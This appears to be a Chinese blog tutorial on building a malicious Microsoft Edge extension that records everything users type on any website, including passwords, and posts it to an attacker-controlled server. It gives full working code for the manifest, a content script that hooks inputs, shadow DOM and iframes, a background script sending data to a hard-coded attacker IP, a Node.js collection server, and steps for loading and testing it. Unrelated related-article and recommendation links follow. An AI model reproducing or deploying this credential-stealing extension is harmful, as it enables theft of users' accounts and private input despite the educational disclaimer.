免责声明:本文所涉及的技术仅供学习和参考,严禁使用本文内容从事违法行为和未授权行为,如因个人原因造成不良后果,均由使用者本人负责,作者及本博客不承担任何责任。

前言

edge扩展作为edge浏览器丰富功能,增强浏览器功能扩展性的一个重要功能,不规范的配置和管理可能会造成严重的安全风险。恶意黑客利用钓鱼引导、后门植入等方式,制作和安装恶意扩展文件到edge浏览器中,从而造成信息泄露、凭证窃取、代码执行等风险。虽然Manifest V3版本已经移除了大量高危API和风险函数,但仍可以通过一定方式窃取到用户信息账户密码等。

扩展制作

edge扩展主要由核心文件、后台脚本、页面组件、资源文件等内容组成,想要制作恶意扩展文件,只需要保留核心文件、后台脚本即可。

现在我们开始编写扩展程序

核心文件 manifest.json

{
"manifest_version": 3,
"name": "Browser Helper",
"version": "1.0",
"description": "test",
"permissions": [
"activeTab",
"storage",
"webRequest",
"webNavigation"
],
"host_permissions": [
"http://192.168.80.128:8765/*"
],
"background": {
"service_worker": "background.js"
},
"content_scripts": [
{
"matches": ["<all_urls>"],
"js": ["content.js"],
"run_at": "document_end"
}
]
}

我们来解释一下代码的主要核心内容,permissions是扩展在edge中的权限声明,我们需要用到的权限都需要在这进行声明。

activeTab用于临时获取当前激活(用户正在浏览)的标签页的控制权。

storage允许扩展使用 chrome.storage API 存储和读取数据。

webRequest拦截、修改或阻止网络请求。

webNavigation监听浏览器导航事件。

host_permissions下需要填写需要访问的特定主机或 URL 模式,当然这里直接换成"host_permissions": ["<all_urls>"]就是允许所有主机了。

"service_worker": "background.js"定义扩展的后台逻辑文件,这里是直接使用background.js作为后台逻辑文件。

"js": ["content.js"]向网页注入content.js脚本,后续获取用户输入信息有着巨大作用。

后台脚本 background.js

const ATTACKER_SERVER = 'http://192.168.80.128:8765/log';

let isConnected = false;

function testConnection() {
return fetch(ATTACKER_SERVER, {
method: 'HEAD'
}).then(() => {
isConnected = true;
return true;
}).catch(() => {
isConnected = false;
return false;
});
} function sendData(data) {
return fetch(ATTACKER_SERVER, {
method: 'POST',
headers: {
'Content-Type': 'application/json'
},
body: JSON.stringify(data)
}).catch(e => {
console.error('发送失败:', e);
isConnected = false;
});
} chrome.runtime.onMessage.addListener((message, sender, sendResponse) => {
if (message.type === 'input_log') {
if (isConnected) {
sendData(message.data);
} else {
testConnection().then(connected => {
if (connected) {
sendData(message.data);
}
});
}
}
}); setInterval(testConnection, 30000);

ATTACKER_SERVER填写攻击者的IP即可。

background.js用于定期检测与攻击者IP的连接状态,并在连接可用时将接收到的输入数据发送到该攻击者IP。

注入页面脚本 content.js

function debounce(func, delay) {
let timer = null;
return function (...args) {
if (timer) clearTimeout(timer);
timer = setTimeout(() => {
func.apply(this, args);
}, delay);
};
} const handleInput = debounce(function (e) {
const target = e.target; if (target.matches("input, textarea, [contenteditable='true']")) {
const value = target.value || target.innerText; const data = {
url: window.location.href,
input: value,
elementType: target.tagName,
timestamp: new Date().toISOString(),
};
console.log("捕获输入:", data);
chrome?.runtime?.sendMessage?.({ type: "input_log", data: data });
}
}, 300); // 防抖 300ms function bindInputEvents(root = document) {
// 普通 input/textarea
root.querySelectorAll("input, textarea").forEach((input) => {
input.addEventListener("input", handleInput);
input.addEventListener("change", handleInput);
}); root.querySelectorAll("[contenteditable='true']").forEach((el) => {
el.addEventListener("keyup", handleInput);
});
} function penetrateShadowDOM(root = document) {
root.querySelectorAll("*").forEach((element) => {
if (element.shadowRoot) {
bindInputEvents(element.shadowRoot);
penetrateShadowDOM(element.shadowRoot);
}
});
} function observeIframes() {
document.querySelectorAll("iframe").forEach((iframe) => {
try {
if (iframe.contentDocument) {
bindInputEvents(iframe.contentDocument);
penetrateShadowDOM(iframe.contentDocument);
}
} catch (e) {
console.warn("跨域 iframe 无法监听:", e);
}
});
} const observer = new MutationObserver((mutations) => {
bindInputEvents();
penetrateShadowDOM();
observeIframes();
}); observer.observe(document.documentElement, {
childList: true,
subtree: true,
}); bindInputEvents();
penetrateShadowDOM();
observeIframes(); const observeInputValues = () => {
document.querySelectorAll("input, textarea").forEach((input) => {
let lastValue = input.value;
const valueObserver = new MutationObserver(() => {
if (input.value !== lastValue) {
lastValue = input.value;
handleInput({ target: input });
}
});
valueObserver.observe(input, {
attributes: true,
attributeFilter: ["value"],
});
});
}; setTimeout(observeInputValues, 5000);

该脚本监听网页中的所有输入框,然后将数据发送到后台。

  const handleInput = debounce(function (e) {
const target = e.target; if (target.matches("input, textarea, [contenteditable='true']")) {
const value = target.value || target.innerText; const data = {
url: window.location.href,
input: value,
elementType: target.tagName,
timestamp: new Date().toISOString(),
};
console.log("捕获输入:", data);
chrome?.runtime?.sendMessage?.({ type: "input_log", data: data });
}
}, 300); // 防抖 300ms

这里设置了防抖300ms,是基于用户输入习惯进行设置的,正常用户输入一串信息是连续的,如果需要切换到其他输入框,需要一定的时间,如果不设置防抖,输入内容会一个字母一个字母返回,很影响查看。

攻击者脚本 server.js

扩展程序写完了,我们现在还需要创建接收信息的脚本,这里直接使用了node.js的脚本直接运行,实战中可以换成其他语言。

import express from 'express';
import cors from 'cors';
import fs from 'fs';
import path from 'path'; const app = express();
const PORT = 8765;
const LOG_FILE = 'keylogs.json'; app.use(cors());
app.use(express.json()); let logs = []; try {
const data = fs.readFileSync(LOG_FILE, 'utf8');
logs = JSON.parse(data);
} catch (err) {
if (err.code !== 'ENOENT') {
console.error('读取日志文件错误:', err);
}
} app.post('/log', (req, res) => {
const logData = req.body;
logData.receivedAt = new Date().toISOString();
logs.push(logData); fs.writeFile(LOG_FILE, JSON.stringify(logs, null, 2), (err) => {
if (err) {
console.error('写入日志文件错误:', err);
}
}); console.log('收到日志:', logData);
res.status(200).send('日志已接收');
}); app.head('/log', (req, res) => {
res.status(200).end();
}); app.get('/logs', (req, res) => {
res.json(logs);
}); app.listen(PORT, '0.0.0.0', () => {
console.log(`攻击者服务器运行在 http://192.168.80.128:${PORT}`);
console.log('等待扩展连接...');
});

实战过程

我们现在已经写好了恶意扩展的代码,现在我们需要将他运用于实际中。

1、先创建一个文件夹

2、将扩展程序代码文件放入文件夹内

3、打开edge浏览器,进入扩展页面,打开开发者模式,点击加载解压缩的扩展

4、选择刚才放扩展代码的文件夹

5、像这样显示就是导入成功了

6、使用node.js运行攻击者脚本

7、我们找到一个需要登录的网站测试,输入账户密码

8、可以看到脚本已经将用户输入的账户密码信息给传递过来了

总结

该方法可以通过恶意的edge扩展获取到用户的敏感信息和操作,从而造成信息泄露甚至丢失系统权限。目前只是提供一个思路,面对那种对账号密码信息安全严密性高的网站上述代码可能不太能获取得到信息,具体的绕过思路还没有找到,不过目前已经足以应对大部分场景了。

利用Edge浏览器扩展获取账号密码等敏感性信息的更多相关文章

  1. Chrome浏览器扩展 获取用户密码

    Chrome 浏览器允许安装第三方扩展程序以扩展浏览器并给浏览器加入新的功能,扩展使用 JavaScript 以及 HTMl 编写并允许互相访问和控制 DOM. 因为允许访问 DOM,攻击者就可以读取 ...

  2. 如何创建一个Edge 浏览器扩展

    随着微软Windows 10 年度更新的发布,数次延宕的Edge 扩展功能终于得到了官方正式支持.我在我的另外一个博客上发布了如何创建一个Edge 浏览器扩展的博文,链接如下: https://blo ...

  3. 如何查看Chrome浏览器保存的账号密码

    之前告诉大家如何一键查看所有保存在IE里的所有密码(点击查看原文),现在来告诉大家如何一键查看Chrome浏览器的所有密码.某种意义上上,查看Chrome的密码比查看IE的更简单,因为查看IE密码还需 ...

  4. 利用KEGG的API获取基因对应的pathway 信息

    KEGG 官网提供了API, 可以方便的访问KEGG 数据库中的内容,链接如下: http://www.kegg.jp/kegg/rest/keggapi.html 利用API可以得到某一个基因参与的 ...

  5. 如何清除保存在IE浏览器上的账号密码

    1,打开浏览器,打开右上角的工具选项,选择Internet选项 2,在‘常规’选项卡中点击“删除”按钮,在弹框中勾选“密码”,选择删除即可.

  6. 通过google的inurl:backupdata*dede_admin获取账号密码

    简要描述:很简单,通过google可找出备份路径. 详细说明:http://www.google.com.hk/search?q=inurl:backupdata*dede_admin&hl= ...

  7. DL账号密码生命周期信息流图

  8. Chrome扩展移植到Edge浏览器教程

    微软在推出Edge浏览器之初,就把能够使用扩展(extension)作为一个重要功能.在Win10一周年更新版(1607)中,这项功能正式向广大用户推出(当然,Insider用户早就测试了一段时间了) ...

  9. 802.1X 账号密码+设备信息双重认证

    名词解释 802.1X: IEEE802 LAN/WAN 委员会为解决无线局域网网络安全问题,提出了 802.1X 协议.后来,802.1X协议作为局域网端口的一个普通接入控制机制在以太网中被广泛应用 ...

  10. 利用PPPOE认证获取路由器中宽带账号密码

    前言 回家时买了一台极路由准备换掉家里老掉牙的阿里路由器,想进后台看一下宽带账号密码,咦???后台密码是什么来着??? 我陷入了沉思,家里的路由器一般都是pppoe拨号,而路由器在与pppoe认证服务 ...

随机推荐

  1. 解决“yarn : 无法加载文件 C:\Users\quber\AppData\Roaming\npm\yarn.ps1,因为在此系统上禁止运行脚本”问题

    1.问题描述 我们在使用yarn命令的时候,可能会出现如下图所示的错误: 2.解决办法 出现此错误的原因是本地计算机上运行你编写的未签名脚本和来自其他用户的签名脚本,可以使用如下命令将计算机上的执行策 ...

  2. Luogu P5298 PKUWC2018 Minimax 题解 [ 紫 ] [ 树形 dp ] [ 线段树合并 ] [ 概率 dp ]

    Minimax:线段树合并优化 dp 好题. 树形 dp 因为要求出每一个值的出现概率,首先我们可以想到一个很暴力的 dp 式子. 定义 \(dp_{i,j}\) 表示在节点 \(i\) 时,权值 \ ...

  3. [AI/GPT] 硅基流动(SiliconFlow) : AI大模型时代的基础设施

    概述:硅基流动(SilliconFlow) 简介 硅基流动(SiliconFlow) 是一家专注于人工智能(AI)基础设施的公司,致力于通过技术创新降低大模型(如生成式AI和大语言模型)的部署和推理成 ...

  4. 记录一次修复 JetBrains Rider 控制台输出乱码

    在使用 JetBrains Rider 调试程序时,控制台输出日志出现了乱码. 歪打正着结果困扰许久的问题得到了解决,于是记录下了这个小短文. 具体的修复建议如下:将终端编码设置为 GB2312 具体 ...

  5. 面试官:谈谈RabbitMQ的队头阻塞问题?

    RabbitMQ 延迟消息的队头阻塞问题是指,在使用死信队列(DLX)和 TTL(消息过期时间)实现延迟消息时,由于队列的先进先出(FIFO)特性,在队列头部消息未过期的情况下,即使后续消息已经过期也 ...

  6. DevExpress MVVM Framework. Interaction of ViewModels. Messenger

    学习记录: 学习地址:https://community.devexpress.com/blogs/wpf/archive/2013/12/13/devexpress-mvvm-framework-i ...

  7. ATT&CK实战系列(二)红日靶场2

    拓扑图 导入虚拟机 网络配置 增加网卡 配置网卡 三台主机的密码均为1qaz@WSX,其中WEB在登录的时候需要切换用户de1ay登录 iP地址 DC PC 配置PC和WEB主机时,会弹框输入admi ...

  8. Android app:回调方式实现Service向activity传递数据

    一.开启服务的时候,如果我们是通过bindService来绑定服务并且要向服务传递数据,可以直接在Intent中设置bundle来达到效果,但是如果是我们需要从服务中返回一些数据到Activity中的 ...

  9. div剩余高度自动填充满

    这边采用弹性布局来处理 在需要被填充满的div上设置display:flex;,然后根据你所需要填充宽度(flex-direction:column;)高度(flex-direction:row;)设 ...

  10. P11620 [Ynoi Easy Round 2025] TEST_34

    由子序列和最值异或可以想到线性基 发现其实线性基满足结合律 考虑线段树进行维护 那么显然的一个想法就是把1操作直接上tag 但是发现上tag其实会丢失线性基的性质 于是差分 将区间修改变为单点修改 考 ...